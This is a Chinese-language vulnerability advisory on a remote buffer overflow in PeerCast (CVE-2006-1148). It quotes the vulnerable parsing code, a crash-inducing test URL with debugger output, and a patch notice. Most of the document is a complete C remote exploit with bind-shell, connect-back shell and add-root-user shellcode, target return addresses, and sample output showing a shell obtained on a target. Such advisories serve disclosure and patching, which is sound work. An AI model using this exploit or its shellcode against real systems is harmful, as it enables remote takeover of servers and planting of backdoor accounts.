安全研究

安全漏洞
Peercast.org PeerCast URL处理远程缓冲区溢出漏洞

发布日期:2006-03-09
更新日期:2006-03-11

受影响系统:
Peercast Peercast 0.1215
Peercast Peercast 0.1212
Peercast Peercast 0.1211
不受影响系统:
Peercast Peercast 0.1217
描述:
BUGTRAQ  ID: 17040
CVE(CAN) ID: CVE-2006-1148

CNCAN ID:CNCAN-2006031006

PeerCast是一款简单易用的音频/视频流媒体服务器。

PeerCast的URL处理代码中存在缓冲区溢出漏洞,远程攻击者可能利用此漏洞在服务器上执行任意指令。

当用户在服务器上请求特制的URL时,procConnectArgs()函数会处理用户参数。

/code/common/servmgr.cpp中的漏洞代码:

----------------------------------------
void ServMgr::procConnectArgs(char *str,ChanInfo &info)
{
char arg[512];
char curr[256];

char *args = strstr(str,"?");
if (args)
  *args++=0;

info.initNameID(str);

if (args)
{

  while (args=nextCGIarg(args,curr,arg))
  {
  ...
  ...
  ...
----------------------------------------

procConnectArgs()会处理传送给服务器脚本的参数(char *str)。如果URL中的“?”字符后传送了超长字符串的话,在while()循环的nextCGIarg()函数中会覆盖栈上分配的arg[512]和curr[256]缓冲区。

/code/common/servhs.cpp中的漏洞代码:

-------------------------------------------
char *nextCGIarg(char *cp, char *cmd, char *arg)
{
if (!*cp)
  return NULL;

// fetch command
while (*cp)
{
  char c = *cp++;
  if (c == '=')
   break;
  else
   *cmd++ = c;
}
*cmd = 0;

// fetch arg
while (*cp)
{
  char c = *cp++;
  if (c == '&')
   break;
  else
   *arg++ = c;
}
*arg = 0;

return cp;
}

----------------------------------------

<*来源:Leon Juranic (ljuranic@LSS.hr
  
  链接:http://marc.theaimsgroup.com/?l=bugtraq&m=114192524704511&w=2
*>

测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

http://localhost:7144/stream/?AAAAAAAAAAAAAAAAAAAAAAA....(800)

gdb output...
[Switching to Thread 180236 (LWP 4526)]
0x41414141 in ?? ()
(gdb) i r
eax            0x0      0
ecx            0x74     116
edx            0x741c9f20       1948032800
ebx            0x4011fff4       1074921460
esp            0xbe3f9e84       0xbe3f9e84
ebp            0x41414141       0x41414141
esi            0x41414141       1094795585
edi            0x41414141       1094795585
eip            0x41414141       0x41414141
eflags         0x210246 2163270
cs             0x23     35
ss             0x2b     43
ds             0x2b     43
es             0x2b     43
fs             0x0      0
gs             0x0      0
(gdb)


prdelka 提供了如下的测试代码:

/* GNU PeerCast <= v0.1216 Remote Exploit
* ======================================
* PeerCast is a simple, free way to listen to radio and watch video on the internet. A
* remotely exploitable buffer overflow has been identified by INFIGO-2006-03-01 which
* can be potentially exploited to execute arbitrary code due to insufficient bounds
* checking on a memory copy operation occuring on the stack. All versions upto and
* prior to v0.1216 are believed to be vulnerable. Return address does a "jmp esp" which
* references the start of our shellcode and as such will work on multiple distributions
* and VA randomized hosts.
*
* Example.
* matthew@localhost ~/code/exploits $ ./prdelka-vs-GNU-peercast -s 123.123.123.123 -c 0 -t 1 -x 31337
* [ GNU PeerCast <= v0.1216 remote exploit
* [ Using shellcode 'Linux bind() shellcode (4444/tcp default)' (84 bytes)
* [ Using target '(GNU peercast v0.1212) 2.6.14-gentoo-r2 (Gentoo 3.3.5.20050130-r1)'
* [ Connected to 123.123.123.123 (7144/tcp)
* [ Sent 883 bytes to target
* matthew@localhost ~/code/exploits $ nc 123.123.123.123 31337
* id
* uid=65534(nobody) gid=65534(nobody) groups=65534(nobody)
*
*  -prdelka
*/
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <getopt.h>
#include <signal.h>

struct target {
char* name;
int retaddr;
};

struct shellcode {
char* name;
int port;
int host;
char* shellcode;
};

const int targetno = 2;

struct target targets[] = {
{"(GNU peercast v0.1212) 2.4.28-gentoo-r8 (Gentoo Linux 3.3.5-r1)",0x080918AF},
{"(GNU peercast v0.1212) 2.6.14-gentoo-r2 (Gentoo 3.3.5.20050130-r1)",0x080918AF}
};

const int shellno = 3;

struct shellcode shellcodes[] = {
{"Linux bind() shellcode (4444/tcp default)",20,-1,
"\x31\xdb\x53\x43\x53\x6a\x02\x6a\x66\x58\x99\x89\xe1\xcd\x80\x96"
"\x43\x52\x66\x68\x11\x5c\x66\x53\x89\xe1\x6a\x66\x58\x50\x51\x56"
"\x89\xe1\xcd\x80\xb0\x66\xd1\xe3\xcd\x80\x52\x52\x56\x43\x89\xe1"
"\xb0\x66\xcd\x80\x93\x6a\x02\x59\xb0\x3f\xcd\x80\x49\x79\xf9\xb0"
"\x0b\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53"
"\x89\xe1\xcd\x80"},
{"Linux connect() shellcode (4444/tcp default)",32,26,
"\x31\xdb\x53\x43\x53\x6a\x02\x6a\x66\x58\x89\xe1\xcd\x80\x93\x59"
"\xb0\x3f\xcd\x80\x49\x79\xf9\x5b\x5a\x68\x01\x02\x03\x04\x66\x68"
"\x11\x5c\x43\x66\x53\x89\xe1\xb0\x66\x50\x51\x53\x89\xe1\x43\xcd"
"\x80\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53"
"\x89\xe1\xb0\x0b\xcd\x80"},
{"Linux add user 'syscfg' with {null} password and UID 0",-1,-1,
"\x31\xC0\x50\x68\x73\x73\x77\x64\x68\x2F\x2F\x70\x61\x68\x2F\x65"
"\x74\x63\x89\xE6\x31\xD2\x31\xC9\xB1\x01\x89\xF3\x31\xC0\xB0\x05"
"\xCD\x80\x50\x89\xE6\x31\xC0\xB0\x13\x8B\x1E\x31\xC9\x31\xD2\xB2"
"\x02\xCD\x80\x31\xC0\xB0\x04\x8B\x1E\x31\xC9\x51\x68\x61\x73\x68"
"\x0A\x68\x69\x6E\x2F\x62\x68\x74\x3A\x2F\x62\x68\x2F\x72\x6F\x6F"
"\x68\x63\x66\x67\x3A\x68\x66\x6F\x72\x20\x68\x73\x65\x72\x20\x68"
"\x65\x6D\x20\x75\x68\x73\x79\x73\x74\x68\x30\x3A\x30\x3A\x68\x66"
"\x67\x3A\x3A\x68\x73\x79\x73\x63\x89\xE1\x31\xD2\xB2\x30\xCD\x80"
"\x31\xC0\xB0\x06\x8B\x1E\xCD\x80"}
};

void dummyhandler(){
}

int main (int argc, char *argv[]) {
int sd, rc, i, c, ret, payg, paya, payb, eip, ishell = 0, port = 7144, ihost = 0, itarg = 0;
int count, offset, ioffset, index = 0;
short shellport;
char *host, *buffer, *buffer2, *payload;
struct sockaddr_in localAddr, servAddr;
struct hostent *h, *rv;
        static struct option options[] = {
        {"server", 1, 0, 's'},
        {"port", 1, 0, 'p'},
        {"target", 1, 0, 't'},
{"shellcode", 1, 0, 'c'},
{"shellport", 1, 0, 'x'},
{"shellhost", 1, 0, 'i'},
{"help", 0, 0,'h'}
        };
printf("[ GNU PeerCast <= v0.1216 remote exploit\n");
while(c != -1)
{
        c = getopt_long(argc,argv,"s:p:t:c:x:i:h",options,&index);
        switch(c) {
               case -1:
                        break;
                case 's':
if(ihost==0){
h = gethostbyname(optarg);
if(h==NULL){
printf("[ Error unknown host '%s'\n",optarg);
exit(1);
}
host = malloc(strlen(optarg) + 1);
sprintf(host,"%s",optarg);
ihost = 1;
}
               break;
                case 'p':
port = atoi(optarg);
                        break;
case 'c':
if(ishell==0)
{
payg = atoi(optarg);
switch(payg){
case 0:
printf("[ Using shellcode '%s' (%d bytes)\n",shellcodes[payg].name,strlen(shellcodes[payg].shellcode));
payload = malloc(strlen(shellcodes[payg].shellcode)+1);
memset(payload,0,strlen(shellcodes[payg].shellcode)+1);
memcpy((void*)payload,(void*)shellcodes[payg].shellcode,strlen(shellcodes[payg].shellcode));
ishell = 1;
break;
case 1:
                                       printf("[ Using shellcode '%s' (%d bytes)\n",shellcodes[payg].name,strlen(shellcodes[payg].shellcode));
                                       payload = malloc(strlen(shellcodes[payg].shellcode)+1);
                               memset(payload,0,strlen(shellcodes[payg].shellcode)+1);
                               memcpy((void*)payload,(void*)shellcodes[payg].shellcode,strlen(shellcodes[payg].shellcode));
                               ishell = 1;
                               break;
                                case 2:
                                       printf("[ Using shellcode '%s' (%d bytes)\n",shellcodes[payg].name,strlen(shellcodes[payg].shellcode));
                                       payload = malloc(strlen(shellcodes[payg].shellcode)+1);
                                       memset(payload,0,strlen(shellcodes[payg].shellcode)+1);
                               memcpy((void*)payload,(void*)shellcodes[payg].shellcode,strlen(shellcodes[payg].shellcode));
                               ishell = 1;
       break;
default:
printf("[ Invalid shellcode selection %d\n",payg);
exit(0);
break;
}
}
break;
case 'x':
if(ishell==1)
{
if(shellcodes[payg].port > -1)
{
paya = strlen(payload);
shellport = atoi(optarg);
shellport =(shellport&0xff)<<8 | shellport>>8;
memcpy(&payload[shellcodes[payg].port],&shellport,sizeof(shellport));
if(paya > strlen(payload))
{
printf("[ Shellcode port introduces null bytes\n");
exit(1);
}
}
else{
printf("[ (%s) port selection is ignored for current shellcode\n",optarg);
}
}
else{
printf("[ No shellcode selected yet, ignoring (%s) port selection\n",optarg);
break;
}
break;
case 'i':
if(ishell==1)
{
if(shellcodes[payg].host > -1)
{
paya = strlen(payload);
rv = gethostbyname(optarg);
if(h==NULL){
printf("[ Error unknown host '%s'\n",optarg);
exit(1);
}
memcpy(&payload[shellcodes[payg].host],rv->h_addr_list[0], rv->h_length);
if(paya > strlen(payload))
{
printf("[ Shellhost introduces null bytes\n");
exit(1);
}
}
else{
printf("[ (%s) shellhost selection is ignored for current shellcode\n",optarg);
}
}
else{
printf("[ No shellcode selected yet, ignoring (%s) shellhost selection\n",optarg);
}
break;
                case 't':
if(itarg==0){
ret = atoi(optarg);
switch(ret){
case 0:
printf("[ Using target '%s'\n",targets[ret].name);
eip = targets[ret].retaddr;
break;
                                        case 1:
                                                printf("[ Using target '%s'\n",targets[ret].name);
                                                eip = targets[ret].retaddr;
                                                break;
default:
eip = strtoul(optarg,NULL,16);
printf("[ Using return address '0x%x'\n",eip);
break;
}
itarg = 1;
}
                        break;
case 'h':
printf("[ Usage instructions.\n[\n");
printf("[ %s <required> (optional)\n[\n[   --server|-s <ip/hostname>\n",argv[0]);
printf("[   --port|-p (port)[default 7144]\n[   --shellcode|-c <shell#>\n");
printf("[   --shellport|-x (port)\n");
printf("[   --shellhost|-i (ip/hostname)\n");
printf("[   --target|-t <target#/0xretaddr>\n[\n");
printf("[ Target#'s\n");
for(count = 0;count <= targetno - 1;count++){
printf("[ %d %s 0x%x\n",count,targets[count],targets[count]);
}
printf("[\n[ Shellcode#'s\n");
for(count = 0;count <= shellno - 1;count++){
printf("[ %d \"%s\" (length %d bytes)\n",count,shellcodes[count].name,strlen(shellcodes[count].shellcode));
}
exit(0);
break;
default:
                break;
        }
}
if(itarg != 1 || ihost  != 1 || ishell != 1){
printf("[ Error insufficient arguements, try running '%s --help'\n",argv[0]);
exit(1);
}
signal(SIGPIPE,dummyhandler);
        servAddr.sin_family = h->h_addrtype;
memcpy((char *) &servAddr.sin_addr.s_addr, h->h_addr_list[0], h->h_length);
servAddr.sin_port = htons(port);
sd = socket(AF_INET, SOCK_STREAM, 0);
if(sd<0) {
printf("[ Cannot open socket\n");
exit(1);
}
rc = connect(sd, (struct sockaddr *) &servAddr, sizeof(servAddr));
if(rc<0) {
printf("[ Cannot connect\n");
exit(1);
}
printf("[ Connected to %s (%d/tcp)\n",host,port);
buffer = malloc(2048 + strlen(payload) + sizeof(eip));
memset(buffer,0,2048 + strlen(payload) + sizeof(eip));
strcpy(buffer,"GET /stream/?");
for(count = 0;count <= 779;count++){
strcat(buffer,"A");
}
buffer2 = (char*)((int)buffer + (int)strlen(buffer));
memcpy((void*)buffer2,(void*)&eip,sizeof(eip));
buffer2 = (char*)((int)buffer2 + sizeof(eip));
memcpy((void*)buffer2,(void*)payload,strlen(payload));
strcat(buffer2,"\r\n");
rc = send(sd,buffer,strlen(buffer),0);
printf("[ Sent %d bytes to target\n",rc);
}

建议:
厂商补丁:

Peercast
--------
目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:

* peercast.org PeerCast v0.1217
http://www.peercast.org/download.php

浏览次数:3834
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障